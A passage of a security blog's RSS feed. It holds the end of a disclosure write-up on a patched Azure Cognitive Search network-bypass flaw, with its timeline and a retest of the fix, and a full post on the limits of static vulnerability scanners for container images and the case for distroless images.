&lt;p&gt;Altogether, Microsoft used approximately 6 months to patch the issue from the day I reported the vulnerability on the &lt;a href=&quot;https://msrc.microsoft.com/report/vulnerability/new&quot;&gt;Microsoft Security Response Center (MSCR) Researcher Portal&lt;/a&gt;. Since the ACSESSED vulnerability was only server-side and did not require Azure customers to take any specific actions, it did not get a CVE, as per Microsoft’s internal policy.&lt;/p&gt;

&lt;h2 id=&quot;disclosure-timeline&quot;&gt;Disclosure timeline&lt;/h2&gt;
&lt;ul&gt;
  &lt;li&gt;February 15th, 2022 – Discovery of the issue&lt;/li&gt;
  &lt;li&gt;February 23rd, 2022 – Issue reported to Microsoft&lt;/li&gt;
  &lt;li&gt;February 25th, 2022 – Report received by Microsoft&lt;/li&gt;
  &lt;li&gt;March 22nd, 2022 – Confirmation of the issue and $10 000 USD bounty awarded by Microsoft&lt;/li&gt;
  &lt;li&gt;March 25th, 2022 – Fix estimated by Microsoft to be deployed within the first week of May&lt;/li&gt;
  &lt;li&gt;May 19th, 2022 – No fix, Microsoft reports working on a patch without specific technical details or ETA&lt;/li&gt;
  &lt;li&gt;June 23rd 2022 – Microsoft reports that the fix requires “a significant design level change”&lt;/li&gt;
  &lt;li&gt;August 31st, 2022 – Microsoft confirms that a fix has been applied to the vulnerable service&lt;/li&gt;
  &lt;li&gt;September 12th, 2022 – Investigation of the new patch and confirmation of the bug fix&lt;/li&gt;
  &lt;li&gt;October 2022 – Acknowledgement published on Microsoft’s MSRC acknowledgement page for online services (release date of the acknowledgement:  August 31st, 2022)&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;investigating-the-patch&quot;&gt;Investigating the patch&lt;/h2&gt;

&lt;p&gt;Once Microsoft notified me on August 31st that a patch had been pushed to the ACS service, I decided to investigate it and re-test the ACSESSED vulnerability. I should mention that this part of the blog post is something I often miss from articles describing new vulnerabilities, as understanding how the issue was fixed is always interesting from a security point of view.&lt;/p&gt;

&lt;p&gt;In order to investigate the patch, I followed the same procedure as the original investigation, by deploying a brand new instance of ACS in a test environment, using all the default options and disabling all network access completely.&lt;/p&gt;

&lt;p&gt;I quickly noticed that the old button had now been replaced with a link to Microsoft’s documentation, explaining that allowing search queries through the Azure portal could be achieved by exposing the ACS on either a &lt;a href=&quot;https://learn.microsoft.com/en-us/azure/search/service-create-private-endpoint#use-the-azure-portal-to-access-a-private-search-service&quot;&gt;private&lt;/a&gt; or &lt;a href=&quot;https://learn.microsoft.com/en-us/azure/search/service-configure-firewall#allow-access-from-your-client-and-portal-ip&quot;&gt;restricted public endpoint&lt;/a&gt;:&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;/assets/images/blog/2022-12-13-acsessed-azure-vulnerability/11_screenshot_acs_networking_settings_fixed.png&quot;&gt;&lt;img src=&quot;/assets/images/blog/2022-12-13-acsessed-azure-vulnerability/11_screenshot_acs_networking_settings_fixed.png&quot; alt=&quot;The old button in ACS is now replaced with a link to Microsoft’s documentation&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The first solution was to expose the ACS on a private endpoint and deploy a Virtual Machine (VM) with a web browser in the same Virtual Network (VNet) as the endpoint, while the second solution consisted of exposing the ACS on a public endpoint and whitelist the originating IP address of the user’s client. Note that the documentation still states that “allowing access from the portal IP address and your client IP address” is necessary for the second option, although whitelisting the client’s IP address seemed to be enough during the re-test.&lt;/p&gt;

&lt;p&gt;My first observation was that the new design was significantly less complex than the previous one, as it essentially relied on IP whitelisting instead of using the portal proxy and all its complexity. Additionally, accessing the data plane of an ACS without any explicit network exposure was not possible anymore, which definitely removed some logical confusions about the feature.
I originally expected Microsoft to stick with the original design and implement proper validation when submitting the access token to the portal proxy, to verify that it was issued for the same tenant as a queried ACS, and ensure that it was associated with a security principal with enough read permissions on the data plane of the ACS instance.&lt;/p&gt;

&lt;p&gt;As shown above in the disclosure timeline however, Microsoft reported in June 2022 that the patch required “a significant design-level change”, which ultimately resulted in a simplified design. One disadvantage of that new design is that each person who needs to query an ACS through the Azure portal needs to whitelist their IP address in the instance’s firewall, which might be a pain in situations where a large number of users need to interact with the data plane of an ACS.&lt;/p&gt;

&lt;p&gt;This might actually be the initial reason for the original design, where based on my understanding, the idea was to whitelist a single service tag (i.e. &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;AzurePortal&lt;/code&gt;) and rely on identities to provide access to the data plane of an ACS instance, therefore avoiding the need for whitelisting multiple IP addresses. Even if patched correctly, the main drawback of that design was the lack of clarity, as “Allow access from portal” was clearly a networking feature, but the list of principals with the ability to bypass network restrictions via the portal proxy was found in the Identity and Access Management (IAM) section of the ACS’ configuration.&lt;/p&gt;

&lt;p&gt;The current design provides therefore more transparency and clarity, as anyone who is able to access the data plane of an ACS is now required to whitelist their IP address in the firewall of the instance, which makes it a lot easier to keep an overview of all the entities allowed to query an ACS, compared to the previous implementation.&lt;/p&gt;

&lt;p&gt;Finally, I wanted to verify if it was still possible to exclude the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;AzurePortal&lt;/code&gt; service tag from the network configurations of my new ACS instance, and see if I could still query its data plane through the portal proxy.&lt;/p&gt;

&lt;p&gt;Since the “Allow access from Portal” button was gone, I investigated the &lt;a href=&quot;https://docs.microsoft.com/en-us/rest/api/searchmanagement/2021-04-01-preview/services/create-or-update?tabs=HTTP#networkruleset&quot;&gt;Cognitive Search API&lt;/a&gt; to set the value of the bypass property in the ACS instance to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;AzurePortal&lt;/code&gt; manually. To my surprise, this was still possible (probably to avoid breaking changes in the resource’s data model). However, querying the data plane of the new ACS instance via the portal proxy did not work anymore, as trying to use the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;invoke&lt;/code&gt; method from the original design returned the following response, suggesting that the function was now disabled by Microsoft:&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;{&quot;error&quot;:{&quot;code&quot;:&quot;&quot;,&quot;message&quot;:&quot;Invoke URI requests are disabled&quot;}}&lt;/code&gt;&lt;/p&gt;

&lt;h2 id=&quot;potential-areas-of-further-research&quot;&gt;Potential areas of further research&lt;/h2&gt;

&lt;p&gt;In the end, it remained unclear whether the ACSESSED vulnerability impacted other Azure services, as several resources have a similar feature, but it is not always implemented in the same way. For example, &lt;a href=&quot;https://docs.microsoft.com/en-us/azure/cosmos-db/introduction&quot;&gt;Azure Cosmos DB&lt;/a&gt; has a networking feature called “&lt;a href=&quot;https://docs.microsoft.com/en-us/azure/cosmos-db/how-to-configure-firewall?WT.mc_id=Portal-Microsoft_Azure_DocumentDB#allow-requests-from-the-azure-portal&quot;&gt;Allow access from Azure Portal&lt;/a&gt;”, which once enabled, whitelists specific IP addresses in the resource’s firewall, instead of relying on the portal proxy. Network-bypass functionalities constitute therefore an interesting area of research, as such features can potentially open the doors for more bypasses than what is intended in the first place.&lt;/p&gt;

&lt;h2 id=&quot;concluding-remarks&quot;&gt;Concluding remarks&lt;/h2&gt;
&lt;p&gt;The ACSESSED vulnerability is a very good example of how enabling a simple feature can significantly deteriorate the security posture of an environment without even realising it.&lt;/p&gt;

&lt;p&gt;Hopefully, this blog post will help raising awareness about the importance of being critical to cloud features and services, as well as technology in general, even when developed by well-established vendors such as Microsoft.&lt;/p&gt;

&lt;p&gt;Although the use of a specific cloud technology implies having a certain level of trust towards its provider, issues like the ACSESSED vulnerability highlight the importance of gaining a deeper understanding of cloud services than what may be acquired through documentation only. I hope this article will help inspire cloud professionals to explore even the simplest feature introduced in their favourite services, and be critical to the security implications of those additions.&lt;/p&gt;
</description>
          <pubDate>2022-12-13T00:00:00+00:00</pubDate>
          <link>https://www.emiliensocchi.io/ACSESSED-cross-tenant-network-bypass-in-Azure-Cognitive-Search/</link>
          <guid isPermaLink="true">https://www.emiliensocchi.io/ACSESSED-cross-tenant-network-bypass-in-Azure-Cognitive-Search/</guid>
        </item>
      
    
      
        <item>
          <title>Managing vulnerabilities in software containers: how to avoid common pitfalls</title>
          <description>&lt;h2 id=&quot;tldr&quot;&gt;TL;DR&lt;/h2&gt;

&lt;p&gt;This blog post provides a technical description of the most common pitfalls when using static scanners to discover vulnerabilities in container images.&lt;/p&gt;

&lt;p&gt;Although used in a vast majority of deployment pipelines, the inner workings of these scanners are often misunderstood by dev teams. This leads to an inappropriate use of the technology, which in turn leaves the user with a false sense of security.&lt;/p&gt;

&lt;p&gt;The goal of this article is to raise awareness about the actual capabilities of those scanners and help dev teams understand what they can and cannot do. Organisations developing containerized applications should review how they use static vulnerability scanners for container images in their pipeline, to ensure they are using that technology correctly.&lt;/p&gt;

&lt;p&gt;This blog post covers the following:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;A high-level description of the main approaches used by most static scanners to find vulnerabilities in container images&lt;/li&gt;
  &lt;li&gt;A critical view on the approaches used by those scanners and the most common pitfalls to avoid&lt;/li&gt;
  &lt;li&gt;The challenges that come along with patching vulnerabilities in container images&lt;/li&gt;
  &lt;li&gt;Recommendations on how to manage vulnerabilities in software containers securely&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;!--end_of_excerpt--&gt;&lt;/p&gt;

&lt;h2 id=&quot;introduction&quot;&gt;Introduction&lt;/h2&gt;

&lt;p&gt;Over the past few years, the use of software containers in enterprise environments has become extremely popular due to the industry shift from traditional silo deployments to micro-service architectures. Deployment pipelines are slowly incorporating more and more automated security tools to help shifting left and catch vulnerabilities as early as possible during the development process. One of the most common tools found in those pipelines are what most people refer to as “container scanners.”&lt;/p&gt;

&lt;p&gt;A “container scanner” is a very broad term, which really does not say anything about the scanner’s approach for analysis or the type of issues it tries to detect. On one hand, a container scanner may be either static or dynamic, and can focus on analysing the running container itself, or its static image (sometimes both). On the other hand, a container scanner may search for a very specific type of issue or multiple ones at the same time, such as software vulnerabilities, malware or deviations from recommended security best practices.&lt;/p&gt;

&lt;p&gt;Nonetheless, when developers talk about “container scanning”, they most of the time refer to a static scanner analysing Linux-based container images for software vulnerabilities. We will see that such scanners tend to use a rather simple approach to discover vulnerabilities, which can give dev teams a false sense of security when misunderstood and/or used inappropriately in their pipelines.&lt;/p&gt;

&lt;p&gt;Note that this article does not mention any container-scanning product or vendor on purpose, as the goal of this blog post is to explain the general approach and pitfalls of most static scanners to find vulnerabilities in container images, rather than pointing fingers at specific vendors.&lt;/p&gt;

&lt;h2 id=&quot;background&quot;&gt;Background&lt;/h2&gt;

&lt;p&gt;Before jumping into the inner workings of static vulnerability scanners for container images, we first need to understand what container images actually are. Container images consist of the central piece of software containerisation, as they are the ones software containers are built upon.&lt;/p&gt;

&lt;p&gt;As illustrated below, the process for creating a software container starts with a simple text file called a Dockerfile (on the left). The latter is often referred to as the container’s blueprint, as it holds the instructions describing what the end container will look like in terms of directories, as well as software packages it will contain. A Dockerfile is then built into an immutable container image (in the middle), which represents the container’s shareable package that can be used to “ship code”. A software container (on the right) only consists of an instantiation of a container image. Container images are therefore the central piece of the containerisation process, as they consist of the actual packages that can be shared with others.&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;/assets/images/blog/2022-10-12-pitfalls-with-vulnmgmt-in-containers/01_diagram_container_creation_process.png&quot;&gt;&lt;img src=&quot;/assets/images/blog/2022-10-12-pitfalls-with-vulnmgmt-in-containers/01_diagram_container_creation_process.png&quot; alt=&quot;The container creation process&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Figure 1: The creation process of a software container&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;It is important to understand that container images are actually made out of layers, where each layer corresponds to an instruction defined in the image’s Dockerfile. Thanks to this layering system, container images are able to build upon each other, in order to avoid building everything from scratch every single time. As illustrated below, the high-level process for building a container image based on another one is as follows:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;The container-runtime manager (typically containerd or CRI-O) downloads the image specified in the FROM instruction from its corresponding registry, in order to be used as a base image referred to as “layer 0” (since no explicit registry is defined, Docker Hub is used implicitly in this case)&lt;/li&gt;
  &lt;li&gt;The base image is extended with upgraded packages and results in a new intermediate image composed of 2 layers (layer 0 and 1)&lt;/li&gt;
  &lt;li&gt;The “layer 1 image” is extended with a new package and results in a second intermediate image composed of 3 layers (layer 0, layer 1 and layer 2)&lt;/li&gt;
  &lt;li&gt;Since there is no more instruction in the Dockerfile, the second image containing all the layers is what becomes referred to as the “final image“. The final image is the output expected by the end user and corresponds to the image built out of the provided Dockerfile at the beginning of the process&lt;/li&gt;
  &lt;li&gt;At this point, the final image can be instantiated into one or multiple containers&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;a href=&quot;/assets/images/blog/2022-10-12-pitfalls-with-vulnmgmt-in-containers/02_diagram_layering_system_explained.png&quot;&gt;&lt;img src=&quot;/assets/images/blog/2022-10-12-pitfalls-with-vulnmgmt-in-containers/02_diagram_layering_system_explained.png&quot; alt=&quot;Visualisation of the layering system, showing how to build a container image based on another one&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Figure 2: Visualisation of the layering system, showing how to build a container image based on another one&lt;/code&gt;&lt;/p&gt;

&lt;h2 id=&quot;how-do-most-static-scanners-detect-vulnerabilities-in-container-images&quot;&gt;How do most static scanners detect vulnerabilities in container images?&lt;/h2&gt;

&lt;p&gt;The high-level approach used by most static scanners to find vulnerabilities in a container image consists of 2 main steps:&lt;/p&gt;
&lt;ol&gt;
  &lt;li&gt;Identify all the packages present in the image with their associated versions&lt;/li&gt;
  &lt;li&gt;Search for known vulnerabilities in each of the discovered packages&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The first step here is crucial, as the scanner’s ability to find vulnerabilities is only as good as its ability to discover all packages within an image in the first place.&lt;/p&gt;

&lt;p&gt;Packages are divided in two categories, depending on their nature. On one hand, system packages consist of the binaries used by the Linux distribution included in the image (e.g. busybox, glibc, openssl, etc.), and are usually installed via a package manager such as apk, yum or apt, depending on the distribution. On the other hand, application packages consist of dependency libraries required by a containerised application to function properly and are usually installed via an application-specific package manager. For example, common application packages for a Python application are datetime, importlib or requests, and are usually installed through pip, the Package Installer for Python.&lt;/p&gt;

&lt;p&gt;Once a scanner has indexed all system and application packages in an image with their respective versions, the next step is to go through each package and verify whether a known vulnerability has been disclosed for it. An appropriate database is typically used for each type of package, depending on their nature. For example, the National Vulnerability Database (NVD), the Red Hat Security Advisory database (RHSA) or the Debian Security Bug Tracker are typical sources used by static scanners to identify disclosed vulnerabilities in a system package. Similarly, appropriate data sources such as Safety DB for Python or the Node.js Working Group’s vulnerability database are commonly used by open-source scanners to detect vulnerabilities in application packages.&lt;/p&gt;

&lt;p&gt;Note that not all static vulnerability scanners for container images support the detection of application packages. Furthermore, scanners that support that feature usually support a limited set of programming languages.&lt;/p&gt;

&lt;p&gt;Finally, note that open-source scanners tend to use multiple open-source vulnerability databases to detect known vulnerabilities (especially for application packages), whereas commercial products may sometimes use their own closed-source database which indexes multiple sources upstream.&lt;/p&gt;

&lt;h2 id=&quot;pitfalls-of-the-approach-adopted-by-most-static-vulnerability-scanners-for-container-images&quot;&gt;Pitfalls of the approach adopted by most static vulnerability scanners for container images&lt;/h2&gt;

&lt;p&gt;As explained above, the high-level approach used by most static scanners to find vulnerabilities in container images is rather simple and comes with a certain number of pitfalls, making the detection of specific vulnerabilities challenging.&lt;/p&gt;

&lt;h3 id=&quot;pitfall-1-vulnerabilities-in-system-packages-installed-outside-of-a-package-manager-are-usually-not-detected&quot;&gt;&lt;strong&gt;Pitfall 1: Vulnerabilities in system packages installed outside of a package manager are usually not detected&lt;/strong&gt;&lt;/h3&gt;

&lt;p&gt;Many static scanners rely on the presence of a package manager in a container image to detect system packages in the first place. The approach usually consists of parsing the database file associated with the package manager present in the image, as it contains a list of all installed packages with their associated versions. The actual database file that is parsed during that process varies from one package manager to another, and is largely dependent on the underlying Linux distribution used as a base for the container image.&lt;/p&gt;

&lt;p&gt;Typically, most static vulnerability scanners parse one of the following files to detect system packages in a container image (non-exhaustive list):&lt;/p&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Package manager&lt;/th&gt;
      &lt;th&gt;Parsed database file&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;apk&lt;/td&gt;
      &lt;td&gt;/lib/apk/db/installed&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;apt &lt;br /&gt; apt-get &lt;br /&gt; dpkg&lt;/td&gt;
      &lt;td&gt;/var/lib/dpkg/status&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;yum &lt;br /&gt; rpm&lt;/td&gt;
      &lt;td&gt;/var/lib/rpm/Packages&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;Thus, in case a system package is installed outside a package manager during the container-image building process (e.g. installed from source), that package will not be indexed in one of the above files and will not be detected as such by the static scanner. Since the package cannot be detected, the potential vulnerabilities it may contain will not be discovered either.&lt;/p&gt;

&lt;p&gt;Dev teams installing packages from source in container images should therefore be aware that most static vulnerability scanners will not be able to find vulnerabilities in such binaries.&lt;/p&gt;

&lt;h3 id=&quot;pitfall-2-vulnerabilities-in-custom-system-packages-are-usually-not-detected&quot;&gt;&lt;strong&gt;Pitfall 2: Vulnerabilities in custom system packages are usually not detected&lt;/strong&gt;&lt;/h3&gt;

&lt;p&gt;Sometimes, dev teams might be extending an already-existing system package, in order to include custom functions (sometimes referred to as “self-compiled packages”), therefore updating the package’s version and sometimes even its name to a custom one.&lt;/p&gt;

&lt;p&gt;As explained previously, the core structure of most static vulnerability scanners for container images relies heavily on external vulnerability databases, which only contain information for official packages and versions. Thus, although a custom system package is detected correctly by a static scanner (e.g. by installing it via a package manager), the package will never be detected as vulnerable (although it may actually be), as no vulnerability database will contain a match for that particular package name and version combination.&lt;/p&gt;

&lt;p&gt;Note that this particular issue is more related to the way vulnerability detection works (i.e. relying solely on the use of vulnerability databases for official packages), rather than an issue specifically related to static vulnerability scanners for container images.&lt;/p&gt;

&lt;p&gt;Nonetheless, dev teams customising system packages during the container-image building process with a different name and/or version than what is official, should make sure they are not relying on static image scanners to find vulnerabilities in such binaries, as most of scanners will not be able to detect them.&lt;/p&gt;

&lt;h3 id=&quot;pitfall-3-vulnerabilities-in-application-packages-are-not-always-detected&quot;&gt;&lt;strong&gt;Pitfall 3: Vulnerabilities in application packages are not always detected&lt;/strong&gt;&lt;/h3&gt;

&lt;p&gt;As explained previously, application packages consist of dependency libraries required by a containerised application to function properly.&lt;/p&gt;

&lt;p&gt;The detection of vulnerabilities in application packages is very scanner-dependent, as not all scanners are able to detect such packages in the first place. For those that support that feature, the approach is similar to the one used to detect system packages, as it consists of parsing a specific file listing out the dependencies required by a main application. The actual dependency file that is parsed during that process varies depending on the language and framework of the main containerised application requiring the dependencies.&lt;/p&gt;

&lt;p&gt;Typically, most static vulnerability scanners supporting the detection of application packages parse one of the following files to detect such dependencies in a container image (non-exhaustive list):&lt;/p&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Application language&lt;/th&gt;
      &lt;th&gt;Parsed dependency file&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;C#&lt;/td&gt;
      &lt;td&gt;project.json &lt;br /&gt; *.csproj &lt;br /&gt; *.fsproj&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;F#&lt;/td&gt;
      &lt;td&gt;project.json &lt;br /&gt; *.fsproj&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Go&lt;/td&gt;
      &lt;td&gt;go.mod &lt;br /&gt; Gopkg.lock &lt;br /&gt; vendor.json&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Java&lt;/td&gt;
      &lt;td&gt;build.gradle &lt;br /&gt; build.gradle.kts &lt;br /&gt; build.sbt &lt;br /&gt; pom.xml&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Node.js&lt;/td&gt;
      &lt;td&gt;package.json &lt;br /&gt; package-lock.json &lt;br /&gt; yarn.lock&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;PHP&lt;/td&gt;
      &lt;td&gt;composer.lock&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Python&lt;/td&gt;
      &lt;td&gt;Pipfile.lock &lt;br /&gt; poetry.lock &lt;br /&gt; requirements.txt&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Ruby&lt;/td&gt;
      &lt;td&gt;Gemfile.lock&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Rust&lt;/td&gt;
      &lt;td&gt;Cargo.lock&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Visual Basic&lt;/td&gt;
      &lt;td&gt;project.json &lt;br /&gt; *.vbproj&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Misc&lt;/td&gt;
      &lt;td&gt;*.sln &lt;br /&gt; obj.assets.json &lt;br /&gt; project.assets.json &lt;br /&gt; packages.config&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;Most dev teams build container images with applications requiring dependencies. I cannot remember the number of pipelines I have seen with a static vulnerability scanner that either did not support the detection of application packages altogether, or did not support the programming language used by the developers.&lt;/p&gt;

&lt;p&gt;Dev teams should therefore review whether the scanner they are currently using is capable of detecting application packages for the type of application(s) they are developing, as vulnerabilities in such packages might go under the radar if that is not the case. Additionally, dev teams should make sure they understand how the static scanner detects the dependency file for their application, as some scanners are only able to detect such files in the working directory of an application, while others are able to detect it regardless of its location on the file system.&lt;/p&gt;

&lt;h3 id=&quot;pitfall-4-vulnerabilities-in-discovered-packages-are-not-always-detected&quot;&gt;&lt;strong&gt;Pitfall 4: Vulnerabilities in discovered packages are not always detected&lt;/strong&gt;&lt;/h3&gt;

&lt;p&gt;As discussed so far, the first challenge for a static vulnerability scanner is to detect all system and application packages within a container image, as a scanner’s ability to find vulnerabilities is only as good as its ability to discover all packages within a container image in the first place.&lt;/p&gt;

&lt;p&gt;Assuming that all packages are discovered and indexed properly, the second challenge for such scanners is to make sure all known vulnerabilities within each package are identified correctly, which implies using appropriate data sources for each type of package discovered within an image (i.e. system or application). Thus, a scanner’s ability to find vulnerabilities also depends largely on the type of vulnerability databases it uses, as well as the quality of its algorithm to parse from different sources.&lt;/p&gt;

&lt;p&gt;Sometimes, certain scanners tend to use obscure data sources with questionable completeness and maintenance. For example, many scanners use or have used the Alpine SecDB, which based on its description, consists of a vulnerability database for system packages in Alpine Linux with “backported fixes”. The last part of the official description is actually crucial, as it means that any package in Alpine Linux known to be vulnerable, but without a fix, or with a patch that has not been backported to older versions of the package, is not contained in the Alpine SecDB. I have seen multiple pipelines where dev teams were scanning custom Alpine-based images with a scanner using that database as its only source of CVEs for the distribution. In some cases, almost half of the vulnerabilities actually present in the system packages of their images were left undetected, compared to other scanners with more complete databases.&lt;/p&gt;

&lt;p&gt;The effective data sources used for detecting vulnerabilities in both system and application packages of different kinds (i.e. multiple Linux distributions and application languages) are therefore crucial to provide a good coverage of the vulnerabilities present in a container image. Note that open-source scanners tend to use multiple open-source databases to detect known vulnerabilities (especially for application packages), whereas commercial products typically use their own closed-source database which indexes multiple sources upstream.&lt;/p&gt;

&lt;p&gt;Dev teams relying on a static scanner to find vulnerabilities in container images should therefore ensure they understand the origin of the databases their scanner uses, as well as the eventual weaknesses that come along with these data sources (i.e. types of vulnerabilities that may be missing). A common issue with many data sources indexing disclosed vulnerabilities is that they only contain vulnerabilities with an existing patch, therefore missing all known but unpatched vulnerabilities (this is partly the case with the Alpine SecDB). Additionally, reviewing the maintainer(s) and update frequency might be a good indicator of the reliability of a vulnerability database.&lt;/p&gt;

&lt;p&gt;Note that conducting that kind of verification is usually easy with open-source scanners, as you can always have a look at their source code in case they do not document properly the vulnerability databases they use as data sources. Regarding closed-source scanners, some of them may disclose what kind of databases they use, while others might not. Trusting that the company behind a closed-source scanner is using trustworthy and complete vulnerability databases is however a part of the implied trust when using a remunerated service of this kind. Nonetheless, dev teams may always ask them to share internal documentation to prove the completeness of their vulnerability databases if possible.&lt;/p&gt;

&lt;h2 id=&quot;what-about-patching-vulnerabilities-once-they-are-discovered&quot;&gt;What about patching vulnerabilities once they are discovered?&lt;/h2&gt;

&lt;p&gt;The next step of the vulnerability-management process is to triage the vulnerabilities reported by a static scanner to prioritise security patching.&lt;/p&gt;

&lt;p&gt;For some reason, a lot of companies tend to build container images based on a full Linux distribution such as Debian, Ubuntu, Red Hat or Alpine Linux. Dev teams using that approach probably know that scanning images usually end up with hundreds, if not thousands of reported vulnerabilities, depending on the number of images to scan. Due to that massive number, a lot of companies tend to triage only vulnerabilities with an estimated high or critical impact, while ignoring the rest.&lt;/p&gt;

&lt;p&gt;Triaging is an expensive activity, as it ultimately requires a human to analyse and determine whether each reported vulnerability should be patched. Based on my experience, many companies tend to get around that challenge, by requiring all critical and high vulnerabilities to be patched as fast as possible, regardless of their actual exploitability in a containerised context.&lt;/p&gt;

&lt;p&gt;Nonetheless, patching vulnerabilities in container images is not always as straightforward as it may seem and can rapidly become a nightmare when many of them are inherited. As previously explained in the background section of this article, container images are made out of layers, where each layer corresponds to an instruction defined in the image’s original Dockerfile. Thanks to this layering system, container images are able to build upon each other, in order to avoid building everything from scratch all the time.&lt;/p&gt;

&lt;p&gt;However, patching an image with a vulnerability originating from a parent can be hard to manage if the parent image in question is not controlled by the dev team or the latter’s organisation. Even worse, there are situations where a custom-made image contains a vulnerability that needs to be patched, but originates from its grandparent image or even its great grandparent, requiring multiple images to be patched upstream, which may sometimes be managed by different companies. As illustrated below, a scenario of this kind requires the following in order for a company to ultimately patch a vulnerability inherited by a grandparent image:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;The developers of the grandparent image where the vulnerability originates need to rebuild the image with a patch (debian:buster-slim in this case)&lt;/li&gt;
  &lt;li&gt;Only once the grandparent is rebuilt, the developers of the parent image (python:3.9-slim-buster in this case) can rebuild it to inherit the new patched layers from the grandparent&lt;/li&gt;
  &lt;li&gt;Only once the parent is rebuilt, the company can finally patch its custom image (myapp:1.0.0 in this case), by rebuilding it and inherit the patched layers from its parent
Note that every child image needs to wait for their parent to rebuild and inherit patched layers from their own parent before they can re-build themselves. In case a vulnerability is originating from a grandparent or higher, any child that fails to rebuild may prevent the rest of the chain to inherit the patch.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;a href=&quot;/assets/images/blog/2022-10-12-pitfalls-with-vulnmgmt-in-containers/03_diagram_workflow_patching_inherited_vulnerability.png&quot;&gt;&lt;img src=&quot;/assets/images/blog/2022-10-12-pitfalls-with-vulnmgmt-in-containers/03_diagram_workflow_patching_inherited_vulnerability.png&quot; alt=&quot;Workflow required to patch a vulnerability inherited by a grandparent images&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Figure 3: Workflow required to patch a vulnerability inherited by a grandparent images&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;As we can see, patching vulnerabilities in container images can rapidly become a nightmare when many parent images are involved and many vulnerabilities need to be patched. If the parent images are controlled by other entities, the complexity of vulnerability patching increases even more, as it introduces external dependencies upstream.&lt;/p&gt;

&lt;p&gt;Due to that complexity, I have seen companies that had given up completely on patching vulnerabilities in their container images, while others have tried to minimise the number of upstream dependencies, by building all their images on a single Linux distribution with no other parent (typically Alpine Linux).&lt;/p&gt;

&lt;h2 id=&quot;how-to-manage-vulnerabilities-in-software-containers-securely&quot;&gt;How to manage vulnerabilities in software containers securely&lt;/h2&gt;

&lt;p&gt;The easiest solution to manage vulnerabilities in software containers is to avoid having a large number of packages present in your images, hence removing the presence of potential vulnerabilities by going distroless.&lt;/p&gt;

&lt;p&gt;As briefly mentioned in the previous section, most companies tend to build container images based on a full Linux distribution such as Debian, Ubuntu, Red Hat Linux or Alpine. Such images contain a large number of system packages that are most of the time completely unnecessary for running a containerised application, but provide threat actors a full set of tools to play with if they get access to the container once it is running. Personally, I am a strong advocate of distroless images as they almost remove the entire attack surface introduced by system packages, which are not even necessary in the first place.&lt;/p&gt;

&lt;p&gt;Distroless images are container images that only contain the developer’s application and its required dependencies, as well as the runtime environment necessary to run it (e.g. a Python interpreter for a Python application, a Java Virtual Machine for a Java application, etc.). Due to their extreme simplicity, distroless images remove therefore the necessity and pain of dealing with vulnerabilities in system packages, while allowing dev teams to shift left and focus on securing their source code instead.&lt;/p&gt;

&lt;p&gt;Since almost no system package is present in a distroless image apart from the application’s runtime environment, the need for vulnerability scanning is minimal and suddenly easy to handle. Application dependencies can still be scanned for vulnerabilities at this stage of the pipeline, or directly in source code before being built into a container image to shift left even more. No matter the approach, the use of distroless images provides companies a way to minimise the necessity for vulnerability management in container images, while avoiding a lot of headaches.&lt;/p&gt;

